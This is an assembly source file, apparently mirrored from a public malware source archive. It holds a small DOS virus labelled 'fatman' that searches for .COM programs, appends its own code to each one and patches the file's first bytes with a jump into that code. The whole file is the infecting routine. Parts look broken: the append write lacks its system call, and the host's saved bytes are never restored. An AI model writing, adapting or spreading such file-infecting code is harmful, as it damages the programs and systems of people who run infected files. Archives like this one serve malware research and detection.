mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-28 09:52:32 +00:00
82 lines
2.5 KiB
NASM
82 lines
2.5 KiB
NASM
code segment'code'
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assume cs:code, ds:code, ss:code, es:code
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org 100h
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dta equ endcode + 10
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fatmanid equ 34
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start:
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jmp virus
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hoststart:
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db 90h,90h,90h ;NOP
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db 0cdh,020h,1ah,1ah ;INT 20
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hostend:
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virus:
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call $ + 2
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fatman:
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pop bp ;Search for next files
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sub bp,offset fatman
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mov ah,1ah
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lea dx,[bp +dta]
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int 21h
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mov ah,4eh
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lea dx,[bp + filespec]
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xor cx,cx
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fileloop:
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int 21h
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jc quit
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mov ax,3d02h ;Open file read and write
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lea dx,[bp + offset dta + 30] ;Move the offset of filename
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int 21h ;into dx register
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jc quit
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xchg bx,ax
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mov ah,3fh ;read from file
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mov cx,4 ;read 4 bytes off file
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lea dx,[bp + orgjmp] ;store the 4 bytes
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int 21h
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mov ax,4202h ;point to end of file
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xor cx,cx
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xor dx,dx
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int 21h
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sub ax,03h ;Back three bytes from org
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mov [bp + newjmp + 2], ah ;high location
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mov [bp + newjmp + 1], al ;low location
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mov [bp + newjmp + 3], fatmanid;his ID
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mov ah,0e9h ;JMP
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mov [bp + newjmp],ah
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mov ah,40h ;write to file
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mov cx,endcode - virus
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lea dx,[bp + virus]
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jc quit
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mov ax,4200h ;Moving to TOP of file
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xor cx,cx
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xor dx,dx
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int 21h
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mov ah,40h ;writing 4 bytes to top of file
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mov cx,4
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lea dx,[bp + offset newjmp]
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int 21h
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mov ah,1ah
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mov dx,080h
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int 21h
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quit:
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lea si,[bp + offset thisjmp]
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mov di,0100h
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mov cx,04h
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cld
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rep movsb
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mov di,0100h
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jmp di
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filespec db '*.COM',0
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orgjmp db 4 dup (?)
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newjmp db 4 dup (?)
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thisjmp db 4 dup (?)
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oldjmp db 09h,0cdh,020h,90h
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endcode:
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code ends
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end start
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